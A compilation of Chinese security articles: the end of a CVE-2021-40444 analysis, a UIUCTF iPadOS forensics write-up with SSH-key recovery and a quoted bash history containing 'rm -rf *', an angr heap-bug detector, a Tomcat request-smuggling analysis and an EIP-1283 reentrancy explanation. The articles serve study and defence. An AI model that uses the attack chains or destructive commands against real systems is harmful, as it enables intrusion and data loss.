而在Win32Open中将会调用CreateFileA，以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf创建文件msword.inf，因为路径存在目录遍历问题，所有将会在C:\Users\l\AppData\Local\Temp\msword.inf创建文件：
成功创建msword.inf文件后将会继续成功调用CABINET!FDIGetFile，在CABINET!FDIGetFile中将会以第一个CFDATA
data大小数据写入到文件中，之后caFile(实际为解压文件大小)将会减去写入的CFDATA
data大小，接着进行比较直到将所有的caFile大小写入，而这里我们的caFile大小是0x415c0000,远远大于实际的CFDATA的总大小，所以将会在调用最后一次CABINET!FDIGetDataBlock获取块的时候失败并退出：
虽然退出了，但不影响实际写入文件的数据，并且因为这个失败将不会在urlmon!DeleteExtractedFiles调用DeleteFileA,因为v2[2]的标志未清0，所以不会删除临时文件，从而我们创建的msword.inf得以保存，并且在后续中可以直接以cpl文件去运行C:\Users\l\AppData\Local\Temp\msword.inf
而正常的提取cab文件将会以标志fdintCLOSE_FILE_INFO(0x03)进入，调用urlmon!MarkExtracted，将标志清0：
至此，从获取到cab文件到提取解析，并且触发目录遍历漏洞过程分析完毕。
而网上有大佬有公布以最简洁的方式触发了[5]这个漏洞，并且可以在ie中复现成功。
## 0x04 url scheme
**注：2021年9月18日更新**
前几个章节都介绍了漏洞的利用方法和cab目录遍历漏洞的详细分析，总结一下整个cve-2021-40444的利用链首先请求目标链接下载一个cab临时文件，通过目录遍历漏洞保存inf文件在固定路径，然后通过执行cpl文件的方式去执行inf文件，执行cpl文件的方式可以称为url
scheme，url scheme 功能，简单来讲就是「通过 url 可以启动某一个本地的应用程序」，关于url
scheme的详细分析可以参考同事0x7F@知道创宇404实验室的分析[6]
通过运行cpl文件的命令可以在注册表找到，执行的命令是%SystemRoot%\System32\control.exe
"%1",%*，这是典型的url scheme的方式，如图下：
而这种url
sheme的方式在cve-2021-40444中被滥用，cpl文件是windows控制面板扩展项，在系统安装目录的system32下面有一系列.cpl文件，cpl文件本质是windows可执行性文件，但不属于可直接独立运行的文件，通常由shell32.dll打开，所以本质上就是dll文件。
通过cab文件触发目录遍历的漏洞释放恶意的dll到固定目录，所以通过文件类型url
scheme的cpl文件方式执行dll，所以构成cve-2021-40444的完整利用链。
微软发布的补丁除了应对cab目录遍历漏洞，相应的对这种文件类型的url scheme的方式做了补丁限制。
url
scheme的调用方式将会直接调用ShellExecuteW来执行文件，ie将会在函数ieframe!CProtocolWarnDlg::_SetProtocolHandlerInfo处理文件类型的url
scheme，而word将会在mshtml!ShellExecURL中，微软补丁后限制如下，主要添加的api如IsValidSchemeName
api IsValidSchemeName得功能主要是判断输入的scheme是否是字母、10进制、ASCII字符 等：
而传入的字符 . 将会导致判断失败返回，所以去执行带路径中的文件类型的url scheme将会失败。
感谢老哥0x7f的帮助！
## 0x05 漏洞防范
对网上来路不明的docx,请不要随意点击,更新最新的微软补丁
## 0x06 参考链接：
[1]<http://hmelnov.icc.ru/geos/scripts/WWWBinV.dll/ShowR?cab.rfh>
[2]<https://github.com/lockedbyte/CVE-2021-40444>
[3]<https://docs.microsoft.com/en-us/windows/win32/api/fdi/nf-fdi-fdicreate>
[4]<https://docs.microsoft.com/en-us/windows/win32/api/fdi/nf-fdi-fdicopy>
[5]<https://twitter.com/j00sean/status/1437390861499838466>
[6]<https://paper.seebug.org/719/>
* * * | 社区文章 |
# UIUCTF2021 Tablet（iPadOS Forensics）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Tablet1
> Red has been acting very sus lately… so I took a backup of their tablet to
> see if they are hiding something!
> It looks like Red has been exfiltrating sensitive data bound for Mira HQ to
> their own private server. We need to access that server and contain the
> leak.
### 私钥
grep -r "ssh" ./
搜索到webssh.db后，利用DB Browser打开db文件。
导出私钥为`ssl.txt`。
一开始以为还要去找密码，其实`********`这就是密码了。利用一下命令把openssl private key 解密一下。
ssh-keygen -p -N "" -m pem -f ssh.txt
得到rsa 密钥，我们现在可以去连接服务器了。
当然也可以直接用以下这条命令
ssh -p 42069 -i id_rsa red.cha1.uiuc.tf
在这里我使用xshell进行连接
一开始以为是ssh连接服务器，这个服务器肯定不会允许搞破坏，应该是连不上的。
**sftp**
提示我们利用sftp进行连接，我们修改连接方式，可以看到我们已经连接到服务器上了。
ls，查看当前目录下的文件和权限。
get，下载.bash_history文件
mv /srv/exfiltrated "/srv/..."
提示我们到`/srv/...`目录下。
发现一张图片，get下来，就是flag
uiuctf{upload_task_only_takes_9_seconds_0bf79b}
## Tablet2
> Wait… there are TWO impostors?! Red must have been in contact with the other
> impostor. See if you can find out what they are plotting.
### bash_history
在`/var/root/`目录下找到了`.bash_history`,内容为以下部分
ls
exit
tar --version
exit
find ./ -iname *hammerandchisel* -type d 2>/dev/null
cd 0CE5D539-F72A-4C22-BADF-A02CE5A50D2E/
ls
cd Library/
ls
cd Caches/
ls
cd com.hammerandchisel.discord/
ls
rm -rf *
ls
cd ..
ls
ls
cd com.hammerandchisel.discord/
ls
exit
cd ../mobile/Containers/Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B/Library/Application\ Support/
rm webssh.db
exit
需要关注的为以下两个命令，第二个命令是我们刚刚找到的`webssh.db`，
find ./ -iname *hammerandchisel* -type d 2>/dev/null
cd com.hammerandchisel.discord/
ls
rm -rf *
cd com.hammerandchisel.discord/
ls
cd ../mobile/Containers/Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B/Library/Application\ Support/
rm webssh.db
**find**
通过google得到这是`discorder`，我们考虑题目描述说的接触为`discorder`。
find ./ -iname *hammerandchisel*
找到文件`****.plist`
我们在这里看到了`BlueAmogus`，猜测为碰头的第二的人。但是我没有证据。
**ktx**
我们在这个文件夹找到了很多的ktx文件，为什们bash中需要删除它们呢？我们尝试着去打开这些文件。
这是一个压缩过的纹理图片，我们在windows下需要对应的工具转换该文件，或者在mac下可以直接查看ktx文件。
ios_ktx2png.exe *****.ktx
[KTX 纹理压缩 | Egret
Engine](https://docs.egret.com/engine/docs/2dRender/bitmapTexture/ktx)
从这张图，我们得到线索，一是encrypted note，二是password。
**Cache.db**
我们继续跟进之前的`bash_history`，找到对应的文件夹
打开`Cache.db`文件，慢慢看信息，发现了之前图片中被黑色覆盖的密码以及之前没看全的消息。
The password is ||su5Syb@k4||su5Syb@k4White is onto me... they kept calling me out last meetingI'll deal with them, you just make sure this next sabotage goes to planI sent you an encrypted note with all the details
那么现在，我们只需要去找到Blue发送给Red的note，并进行解密即可。那么note在哪里找呢？我也无法猜测到。而当我使用如下命令时，我看到了一个很符合的`oneNote`
grep -r "note" ./
在对应的文件夹中我们可以知道两个数据库文件。
我们可以在Records.db中发现recordData，导出为文件后找到了EncryptionInfo
接下来就该思考如何使用该密钥进行解密。
无法解密，当然，我们是找错了note文本。最后我们通过搜索encrypt找到了这个文件夹，可以看到EndToEndEncryption
~~大概率就是出题人设置的文件夹。~~ 这是端到端加密，很多文件夹都有这样的一个子文件夹，并不是出题人的设置。
我们通过备忘录来打开里面的`com.apple.notes.analytics.plist`文件。但是似乎不需要密码。
说明我们找到的并不是最后真正加密的文件。我们返回上级目录。
在这里找到了一个mobilenotes.plist，可惜也不是这个。我们继续返回上级目录
**NoteStore.sqlite**
那么最后我们该如何去寻找加密的note呢？以下命令就可以找到对应的note存储的数据库。然后我们就需要利用密码去解密。
sudo find ./ -type f -name NoteStore.sqlitesudo find ./ -type f -name NoteStore.db
在github上面找到了一个ruby的项目，可以对已知密码的note可以进行解密。
**apple_cloud_note_parser**
在安装时，最可能出现的问题是在openssl上面。
<https://stackoverflow.com/questions/66376203/failed-to-build-gem-native-extension-when-installing-openssl>
log_info "Upgrading and linking OpenSSL ..." brew install openssl brew link openssl --force
得到报错信息后，把解决方案进行执行即可顺利安装apple_cloud_note_parser
echo "su5Syb@k4" > password.txtruby notes_cloud_ripper.rb -f NoteStore.sqlite -w password.txt
**tips**
以下为代码执行流程
generate_key_encrypting_key
aes_key_unwrap
本文所用文件已分享
链接: <https://pan.baidu.com/s/1VLg805GD-eTHzEPLdGDAZA> 提取码: alh5 | 社区文章 |
# 前言
接上一篇，继续来分析如何使用angr挖掘出UAF和double free漏洞
UAF，即use after
free，一般是由未清空的堆指针再次被重用导致的漏洞，uaf有两种，一种是重用被free堆块进行写数据的操作，另一种是重用被free堆块进行读数据的操作
double free则是对同一块堆空间free操作两次而产生的漏洞，这种漏洞会导致内存破坏，根据不同的环境造成的破坏效果也不一样
同样以一个例子开头
#include <stdio.h>
#include <stdlib.h>
char bss[0x10]={0};
int main(int argc, char const *argv[])
{
char buf[0x10]={0};
int times=4;
unsigned long *ptr=&bss;
while(times--)
{
puts("input:");
read(0,buf,8);
switch(atoi(buf))
{
case 1:
puts("malloc!");
*ptr=malloc(0x30);
// printf("%p,%p,%p\n", &ptr,ptr,*ptr);
break;
case 2:
if (*ptr)
{
puts("free!");
free(*ptr);
}
else
{
puts("fail to free");
return;
}
break;
case 3:
if (*ptr)
{
puts("edit!");
read(0,*ptr,8);
}
else
{
puts("fail to edit");
return;
}
break;
case 4:
if (*ptr)
{
puts("show!");
write(1,*ptr,8);
}
else
{
puts("fail to show");
return;
}
break;
}
}
return 0;
}
这种类型是典型的堆漏洞题型，一般通过菜单选项的方式，可以造成uaf读写和double free
如果用unconstrained状态来找漏洞的话，你会发现，即使遍历完所有路径也不会出一个unconstrained
# 挖掘思路
这里分两步来分析如何挖掘double free和uaf
## double free
首先是挖掘double
free，这种漏洞的成因很简单，就是free了同一个堆块两次，那么我们只需要使用某种方法记录下每次malloc和free的目标堆空间，就能判断出是否发生了double
free
angr提供了hook的功能，可以任意hook glibc中的函数，通过hook
malloc函数，使用全局变量malloc_list字典来记录每次得到的堆地址
from angr.sim_type import SimTypeTop,SimTypeLength
class malloc_hook(angr.procedures.libc.malloc.malloc):
def run(self, sim_size):
self.argument_types = {0: SimTypeLength(self.state.arch)}
self.return_type = self.ty_ptr(SimTypeTop(sim_size))
addr=self.state.heap._malloc(sim_size)#申请得到的堆块地址
size=self.state.solver.eval(sim_size)#申请得到的堆块大小
if "malloc_list" in self.state.globals:
malloc_list=self.state.globals["malloc_list"]
else:
self.state.globals["malloc_list"]={}
malloc_list=self.state.globals["malloc_list"]
malloc_list[addr]=size#以字典的方式存储进路径全局变量
return addr
同样的，还需要hook free函数
class free_hook(angr.procedures.libc.free.free):
def run(self, ptr):
self.argument_types = {0: self.ty_ptr(SimTypeTop())}
f_ptr=self.state.solver.eval(ptr)#即将要free的堆块地址
if "free_list" in self.state.globals:
free_list=self.state.globals["free_list"]
if f_ptr in free_list:
print("double free:")
print("stdout:\n",self.state.posix.dumps(1))
print("stdin:\n",self.state.posix.dumps(0))
else:
self.state.globals["free_list"]={}
free_list=self.state.globals["free_list"]
if "malloc_list" in self.state.globals:
malloc_list=self.state.globals["malloc_list"]
if f_ptr in malloc_list:
free_list[f_ptr]=malloc_list[f_ptr]
return self.state.heap._free(ptr)
首先要判断当前路径是否存在全局变量字典free_list，如果存在说明该路径至少调用了一次free函数，那么就直接遍历free_list，康康当前要被free的地址f_ptr是否存在于free_list中，如果存在了那么说明发生了
double free
如果不存在free_list，那么说明该路径下是第一次调用free函数，那么进行free_list字典的初始化，然后再判断即将要free的堆地址f_ptr
是否存在于malloc_list中，只有存在才能进行`free_list[f_ptr]=malloc_list[f_ptr]`
确保不会free一些奇怪的地址
完整angr脚本如下
import angr
from angr.sim_type import SimTypeTop,SimTypeLength
from angr import sim_options as so
class malloc_hook(angr.procedures.libc.malloc.malloc):
def run(self, sim_size):
self.argument_types = {0: SimTypeLength(self.state.arch)}
self.return_type = self.ty_ptr(SimTypeTop(sim_size))
addr=self.state.heap._malloc(sim_size)
size=self.state.solver.eval(sim_size)
if "malloc_list" in self.state.globals:
malloc_list=self.state.globals["malloc_list"]
else:
self.state.globals["malloc_list"]={}
malloc_list=self.state.globals["malloc_list"]
malloc_list[addr]=size
return addr
class free_hook(angr.procedures.libc.free.free):
def run(self, ptr):
self.argument_types = {0: self.ty_ptr(SimTypeTop())}
f_ptr=self.state.solver.eval(ptr)
if "free_list" in self.state.globals:
free_list=self.state.globals["free_list"]
if f_ptr in free_list:
print("double free:")
print("stdout:\n",self.state.posix.dumps(1))
print("stdin:\n",self.state.posix.dumps(0))
else:
self.state.globals["free_list"]={}
free_list=self.state.globals["free_list"]
if "malloc_list" in self.state.globals:
malloc_list=self.state.globals["malloc_list"]
if f_ptr in malloc_list:
free_list[f_ptr]=malloc_list[f_ptr]
return self.state.heap._free(ptr)
if __name__ == '__main__':
filename="./heap1"
p = angr.Project(filename,auto_load_libs=False)#
p.hook_symbol('malloc',malloc_hook())
p.hook_symbol('free',free_hook())
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY,so.ZERO_FILL_UNCONSTRAINED_MEMORY}
state=p.factory.entry_state(add_options=extras)
simgr = p.factory.simulation_manager(state,save_unconstrained=True)
simgr.use_technique(angr.exploration_techniques.Spiller())
while simgr.active:
simgr.step()
运行大概五分钟就出了几个double free的结果
## uaf
接下来就是挖掘UAF了，UAF的核心在于对已经free过的地址进行读或者写的操作，同样可以利用hook
的方法来记录已经free的地址，然后再通过angr提供的action的方法来查看对内存地址的读写操作，如果对应的读写操作地址恰好是已经free过的地址，那么可以认为是产生了UAF漏洞
新增两个函数专门用于检测UAF_R和UAF_W
def Check_UAF_R(state):
if "free_list" not in state.globals:
if "before_free" in state.globals:
before_free=state.globals["before_free"]
else:
state.globals["before_free"]=[]
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
for act in action_now:
if act not in before_free:
before_free.append(act)
else:
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
action=[i for i in action_now if i not in before_free]
malloc_list=state.globals["malloc_list"]
free_list=state.globals["free_list"]
for act in action:
if act.type=='mem' and act.action=='read' :
addr=check_addr(state,act)
if addr==0:
print("error addr:",act.addr)
break
for f in free_list:
if f==addr:
print("\n[========find a UAF read========]")
print("[UAF-R]stdout:")
print(state.posix.dumps(1))
print("[UAF-R]trigger arbitrary read input:")
print(state.posix.dumps(0))
break
def Check_UAF_W(state):
if "free_list" not in state.globals:
if "before_free" in state.globals:
before_free=state.globals["before_free"]
else:
state.globals["before_free"]=[]
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
for act in action_now:
if act not in before_free:
before_free.append(act)
else:
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
action=[i for i in action_now if i not in before_free]
malloc_list=state.globals["malloc_list"]
free_list=state.globals["free_list"]
for act in action:
if act.type=='mem' and act.action=='write' :
addr=check_addr(state,act)
if addr==0:
print("error:",act.addr)
break
for f in free_list:
if f==addr:
print("\n[========find a UAF write========]")
print("[UAF-W]stdout:")
print(state.posix.dumps(1))
print("[UAF-W]trigger arbitrary write input:")
print(state.posix.dumps(0))f
break
简单说一下思路，就是首先判断当前路径有没有执行过free函数，也就是通过判断有没有free_list字典，如果有，那么说明已经调用过free了，直接进入action判断，先从action的类型开始，必须得是对mem操作的write类型，然后对操作地址addr进行检测，判断addr是否在free_list中，如果在那么说明就是UAF的写数据操作了
如果当前路径没有free_list字典，那么说明还没有调用过free函数，因此把目前为止经过的action数组存储起来，存到`state.globals["before_free"]`中，这样一来，在调用过一次free后，取两个列表`state.globals["before_free"]`和`action_now=reversed(state.history.actions.hardcopy)`，得到在action_now但不在before_free中的新列表action，这是为了去除多余的无效action，便于直接从第一次调用了free后开始检测UAF，毕竟没有调用过free函数说不可能存在UAF漏洞的
最后加上之前的double free检测功能的完整代码如下
import angr
from angr.sim_type import SimTypeTop,SimTypeLength
from angr import sim_options as so
class malloc_hook(angr.procedures.libc.malloc.malloc):
def run(self, sim_size):
self.argument_types = {0: SimTypeLength(self.state.arch)}
self.return_type = self.ty_ptr(SimTypeTop(sim_size))
addr=self.state.heap._malloc(sim_size)
size=self.state.solver.eval(sim_size)
if "malloc_list" in self.state.globals:
malloc_list=self.state.globals["malloc_list"]
else:
self.state.globals["malloc_list"]={}
malloc_list=self.state.globals["malloc_list"]
malloc_list[addr]=size
return addr
class free_hook(angr.procedures.libc.free.free):
def run(self, ptr):
self.argument_types = {0: self.ty_ptr(SimTypeTop())}
f_ptr=self.state.solver.eval(ptr)
if "free_list" in self.state.globals:
free_list=self.state.globals["free_list"]
if f_ptr in free_list:
print("double free:")
print("stdout:\n",self.state.posix.dumps(1))
print("stdin:\n",self.state.posix.dumps(0))
else:
self.state.globals["free_list"]={}
free_list=self.state.globals["free_list"]
if "malloc_list" in self.state.globals:
malloc_list=self.state.globals["malloc_list"]
if f_ptr in malloc_list:
free_list[f_ptr]=malloc_list[f_ptr]
return self.state.heap._free(ptr)
def Check_UAF_R(state):
if "free_list" not in state.globals:
if "before_free" in state.globals:
before_free=state.globals["before_free"]
else:
state.globals["before_free"]=[]
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
for act in action_now:
if act not in before_free:
before_free.append(act)
else:
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
action=[i for i in action_now if i not in before_free]
malloc_list=state.globals["malloc_list"]
free_list=state.globals["free_list"]
for act in action:
if act.type=='mem' and act.action=='read' :
addr=check_addr(state,act)
if addr==0:
print("error addr:",act.addr)
break
for f in free_list:
if f==addr:
print("\n[========find a UAF read========]")
print("[UAF-R]stdout:")
print(state.posix.dumps(1))
print("[UAF-R]trigger arbitrary read input:")
print(state.posix.dumps(0))
break
def Check_UAF_W(state):
if "free_list" not in state.globals:
if "before_free" in state.globals:
before_free=state.globals["before_free"]
else:
state.globals["before_free"]=[]
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
for act in action_now:
if act not in before_free:
before_free.append(act)
else:
before_free=state.globals["before_free"]
action_now=reversed(state.history.actions.hardcopy)
action=[i for i in action_now if i not in before_free]
malloc_list=state.globals["malloc_list"]
free_list=state.globals["free_list"]
for act in action:
if act.type=='mem' and act.action=='write' :
addr=check_addr(state,act)
if addr==0:
print("error:",act.addr)
break
for f in free_list:
if f==addr:
print("\n[========find a UAF write========]")
print("[UAF-W]stdout:")
print(state.posix.dumps(1))
print("[UAF-W]trigger arbitrary write input:")
print(state.posix.dumps(0))f
break
if __name__ == '__main__':
filename="./heap1"
p = angr.Project(filename,auto_load_libs=False)#
p.hook_symbol('malloc',malloc_hook())
p.hook_symbol('free',free_hook())
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY,so.ZERO_FILL_UNCONSTRAINED_MEMORY}
state=p.factory.entry_state(add_options=extras)
simgr = p.factory.simulation_manager(state,save_unconstrained=True)
simgr.use_technique(angr.exploration_techniques.Spiller())
while simgr.active:
for act in simgr.active:
Check_UAF_R(act)
Check_UAF_W(act)
simgr.step()
运行一波，结果如图所示
我这个运气算是比较好的，很多时候不一定能一开始就跑出三个不同类型的漏洞，大部分的情况是会产生大量的重复漏洞情况
**那么如果去除重复的漏洞类型呢？**
我这里使用了一种编辑算法，根据每条路径的函数调用链来判断路径的相似度有多高，默认设置的编辑距离是3，这样能去除大部分重复的漏洞，但这种方法仍然是治标不治本的，当代码足够复杂的时候即使是重复路径，编辑距离也很可能超过3，只能说尽量减少了很多，看起来没那么恶心
具体代码就不在这里贴出来了，有兴趣可看俺的GitHub
# 总结
以上就是本人利用angr挖掘简单double free和uaf的思路和心得，如果有师傅有更骚的操作，也望不啬赐教
虽然俺这里就两篇分析了栈和堆的漏洞，实际上我还实现了其他的一些漏洞或者说代码错误检测，有兴趣的师傅可以康康俺的[GitHub](https://github.com/23R3F/AutoFindBug)，我都传上去了，不过跟我这两篇内贴出来的代码不太一样，反正原理肯定是一样的（代码写的比较难看23333看不懂别打我呜呜呜）
利用angr实现的这些漏洞挖掘的操作总体来说还是比较鸡肋的，只能说算是一种思想方法，可能唯一的用途是挖掘ctf中的简单pwn题，或者说在AEG的时候可以优化一下找漏洞的思路
然而在实际软件的漏洞挖掘中就基本没卵用了，因为基本上一开angr跑不了多久就路径爆炸内存爆炸了，angr的符号执行似乎比较适合粒度细的代码领域，一旦复杂起来，路径就会呈几何速度增长，俺在测试的时候可是足足分配了4g内存给虚拟机的
继续努力8，康康以后能不能把符号执行运用到实际挖洞上 | 社区文章 |
本文主要从Tomcat的源码角度看对HTTP协议的实现，并分析这种另类HTTP请求走私产生的原因。
## 漏洞信息
最近发现Tomcat更新了漏洞公告，其中一个级别为important的漏洞是关于HTTP走私的，然而这个漏洞虽然是HTTP走私，但是和我们常见的走私类型却完全不一样，很是有趣。
Apache Tomcat 在某些情况下没有正确解析 HTTP
传输编码请求标头，导致在与反向代理一起使用时可能出现请求走私。具体来说：如果客户端声明它只接受 HTTP/1.0 响应，Tomcat
会错误地忽略传输编码标头；Tomcat 尊重身份编码；并且 Tomcat 不能确保分块编码（如果存在）是最终编码。
影响版本：
Apache Tomcat 10.0.0-M1-10.0.6
Apache Tomcat 9.0.0.M1-9.0.46
Apache Tomcat 8.5.0-8.5.66
也就是说，在HTTP/1.0的连接中，Tomcat无法确保`Transfer-Encoding:
chunked`的请求头，会按照chunked的方式进行解析，那这样如何造成http走私呢？
## 漏洞复现
http走私漏洞早在2005年就被提出，直到2019 BlackHat USA 2019上，一篇HTTP Desync Attacks: Smashing
into the Cell Next Door的议题，才受到大家的关注。
在现在复杂的业务环境中，各种WAF，CDN等，当出现前端代理，和后端服务时，如果两者对RFC标准的实现并不一样，就会出现问题，HTTP走私就是在处理请求中数据的不同造成的。
下面简单一张图说下实现机制
如果同时存在Transfor-Encoding和Content-Length，前端解析TE而忽略了CL，将整个黄色部分作为post
body，但是后端并不这样认为，而是解析了CL，忽略了TE，那么认为post body只有4字节，所以红色部分的post
body就成为了下一个请求的内容，这也就是http走私的内容。
目前可以将走私分为五种类型，具体可参考[HTTP走私](https://paper.seebug.org/1048/)，CL不为0的GET请求、CL-CL、CL-TE、TE-CL、TE-TE。
Tomcat这个走私漏洞和上面五种都不相同，是通过http版本和TE造成的，根据漏洞信息，简单复现下漏洞（Tomcat
9.0.35），后端代码`request.getParameter("a");。`
http/1.1会正常解析，按照TE: chunked解析，a的取值就是b。
很明显http/1.0并不会按照TE解析，而是忽略了TE，按照CL的长度解析，这样a的取值便是`b\r\n0\r\n`，这也是造成http走私的原因。
## 漏洞分析
出现这种http/1.0和http/1.1协议解析不一致的情况的原因只能从代码中看下了，简单搭建了Tomcat
9.0.35的调试环境，先看下http/1.1解析正常的情况，Tomcat在http协议解析中，只有http2和http11两个包，http/0.9、http/1.0和http/1.1都是在http11包中解析，我们现在`org.apache.coyote.http11.Http11Processor`中的`prepareRequest`函数下个断点，此函数作用就是在读取到请求头后，设置request
filters。
然后发送http/1.1的数据包，逐步调试。
来到735行，处理transfer-encoding
header，当是http/1.1协议时，把te的取值作为encoding增加到inputFilter中，由于te可以取多个值，并以chunked结束，所以这里会有一个循环来设置encoding，接下来跟进addInputFilter函数。
可以看到如果te取值为identity直接skip不做处理，如果取值chunked，跟进函数。
就是给请求设置了过滤器，用于解析request，如果te取其他值，就判断其是否是可取的te值，如果是就调用addActiveFilter函数，如果是其他取值就直接返回501
not implemented。
这是个完整的http/1.1中transfer-encoding处理的流程，接下来我们看下http/1.0的处理，同样地方下断点，然后发送http/1.0协议数据包。
当然仔细地同志应该已经发现了，在解析te时的这个判断，会导致在http/1.0协议时不进入解析，而直接进入后续的content-length的解析。
默认激活identity编码，也就是数据本身没有格式。很简单的一个协议版本的判断，导致了这次http走私漏洞的产生。
## 一点思考
可能到这里还是有一些同志还不明白为什么这造成了http走私漏洞，我们接着创建一个环境，后端是tomcat，前面用nginx反向代理tomcat，在把我们的http10.jsp放上去，环境：Ubuntu16.04+Nginx1.14.0+Tomcat8.5.45
发现其实http/1.0协议，从nginx到tomcat最终得到了准确的结果，我们抓包看下，从nginx发往tomcat8080端口的数据是什么
> tcpdump -i lo -A -s 0 'tcp port 8080 and (((ip[2:2] - ((ip[0]&0xf)<<2)) -> ((tcp[12]&0xf0)>>2)) != 0)'
很明显，nginx对于这种http/1.0的请求中的transfer-encoding也会进行解析，所以如果tomcat并不能解析http/1.0的中的chunked的数据，在某些特定的情况下，此种漏洞就会演变成前文提到的TE-CL类型http走私。
但是Tomcat为什么要加入http11的判断，来进行transfer-encoding的解析呢？我们可以翻开最新的关于http的RFC文档[https://www.rfc-editor.org/rfc/rfc7230.html#section-3.3.1](RFC7230#section-3.3.1)
首先transfer-encoding是在HTTP/1.1中添加的，http/1.0并不包含transfer-encoding的功能，一般认为仅实现了http/1.0的应该忽略transfor-encoding，但是后面一句，client MUST NOT
发送请求包括transfor-encoding，除非他知道server可以处理HTTP/1.1或更高版本的请求。
也就是按照RFC来理解，可以发送带有te的http/1.0请求，server如果可以解析，就要按照http/1.1中规范的te格式进行解析，但是如果sever只支持http/1.0的，就不能发了。
Tomcat开发着可能也是理解错误，直接将http/1.0的协议设置为不支持transfer-encoding，即使他实现了http/1.1中的transfer-encoding，从而导致了潜在的http请求走私漏洞。
但是这种协议的规范真的应该这么做吗？http/1.1加入的功能，却要在http/1.0也实现，虽然可能便利了很多，但是个人感觉这种行为实则搞乱了协议的迭代原则。
## 参考资料
<https://tomcat.apache.org/security-9.html>
<https://www.rfc-editor.org/rfc/rfc7230.html>
<https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn>
<https://www.anquanke.com/post/id/224321>
<https://paper.seebug.org/1048/>
<https://blog.csdn.net/daiyudong2020/article/details/71375256> | 社区文章 |
**作者:BCSEC
公众号:[DVPNET](https://mp.weixin.qq.com/s/lGuAwXEVejyYHVhIWR0nYA "DVPNET") **
## 前言
1月16日凌晨,以太坊准备进行君士坦丁堡硬分叉的前一日被披露出来了一则漏洞，该漏洞由新启动的EIP
1283引起，漏洞危害准确的说应该是一种可能会让一些合约存在重入漏洞的隐患，而不是一定会使合约产生重入漏洞。该漏洞在被发现之后以太坊基金会立马宣布了停止硬分叉，并商议择日再启动以太坊君士坦丁堡硬分叉。
## **一、导致以太坊延迟硬分叉的EIP 1283到底是什么？**
EIP的全称是Ethereum Improvement
Proposals（以太坊改进提案），任何人都可以上去提一些对以太坊的改进提案，不过必须得严谨、正式，以太坊君士坦丁堡这次漏洞就是由一个EIP引起的，这个EIP的编号是1283。EIP
1283使以太坊虚拟机使执行智能合约的引擎更高效，并降低在以太坊上运行智能合约的成本。
该提案是针对SSTORE操作码的，该操作码主要用于合约持久化存储数据，EIP1283为SSTORE操作码设计了更加合理的gas收费方式。
详情地址如下：
<https://eips.ethereum.org/EIPS/eip-1283>
### **为什么需要EIP 1283？**
EIP-1283提案由Wei
Tang(@sorpass)于2018年8月1日创建，作为EIP-1087和EIP-1153的替代方案。EIP-1087由Nick
Johnson创建，主要是改变EVM SSTORE运行gas费用收取方式，减少过多的gas费用成本;EIP-1153由Alexey
Akhunov创建，相比EIP-1087更加便宜，gas费用计算规则更加简单。EIP-1283提出了在SSTORE上进行gas计量的方案，为数据存储的变化引进更加合理公平的定价方案。
### **其中定义了三个概念：**
* 存储槽的原始值（original）：在当前事务发生回滚（revert）后会存在的值叫原始值。
* 存储槽的当前值（current）：在使用SSTORE操作码之前存在的值叫当前值。
* 存储槽的新值（new）：在使用SSTORE操作码之后存在的值叫新值。
然后以这三个概念为基础，设计了如下处理逻辑：
如果当前值等于新值（这是无操作），则扣除200 gas。
如果当前值不等于新值
如果原始值等于当前值（此存储槽未被当前执行上下文更改）
如果原始值为 0，则扣除20000 gas。
否则，扣除5000 gas。如果新值为 0，则在退款计数器中增加15000 gas（退款计数器中记录的gas会退还给用户）。
如果原始值不等于当前值（代表此存储槽”脏”了），则扣除200 gas。
如果原始值不为0
如果当前值为 0（也表示新值不为0），请从退款计数器中减少15000 gas。
如果新值为 0（也表示当前值不为0），请向退款计数器中增加15000 gas。
如果原始值等于新值（此存储槽已重置）
如果原始值为 0，则将退款计数器中增加19800 gas。
否则，则在退款计数器中增加4800 gas。
根据如上的逻辑可以发现，当使用SSTORE操作码的时候如果不改变任何值的时候，只消耗 200 gas。如果改变了值最终又重置为0的话也只消耗20000 +
200 - 19800 = 400 gas。
而在之前EIP 1087的逻辑中如果使用SSTORE操作码改变了值最终又重置为0的话需要消耗20000 + 5000 - 10000 = 15000
gas。
显然EIP 1283的处理逻辑比EIP 1087更加合理，也更加便宜，但是问题就在这里。
## **二、EIP 1283漏洞分析**
重入漏洞是指在同一笔交易中因两个合约互相调用而导致合约进行重复转账的一种现象，其产生的根源是没有使转账作为事务的最后一个步骤。
比如说，如果在转账之后再进行状态变更的话就很容易重入漏洞，最经典的一起事件就是The
DAO事件，所以最安全的做法是一笔事务中只有一笔转账，且在转账之前做好所有状态变更，转账作为最后一个操作进行，如果以这种标准来实现的话，是不会受EIP
1283影响的，所以这就是为什么说EIP 1283 只是可能使某些合约产生重入漏洞隐患。
那么，什么样的合约容易产生这种隐患？请看以下Demo。
这是一个模拟资金共享服务的合约，资金余额由deposits变量存储，然后由splits变量存储分配比例。
比如有一笔资金需要a和b共同分配
* 首先调用init函数存储双方的钱包地址
* 调用deposit函数向通道充钱
* 调用updateSplit函数来改变通道的分配率
* 执行splitFunds函数分配资金
如果1号通道的分配率是99，那么执行splitFunds函数的时候给a分配通道中99%的资金，给b分配1%的资金。
该合约大概业务就是这样，在EIP 1283生效之前，该合约是没有重入漏洞的，EIP 1283生效才会存在重入漏洞。
前面提到过了，在EIP 1283中如果将一个值更改后又重置为0 ，那么只消耗400 gas。
再看看是怎么实现按比例分配的：
所以我们可以将a账户设置为我们的恶意合约，在合约的fallback函数中调用updateSplit函数来改变通道的分配率，使两个地址都能分到超过通道余额总量的币.
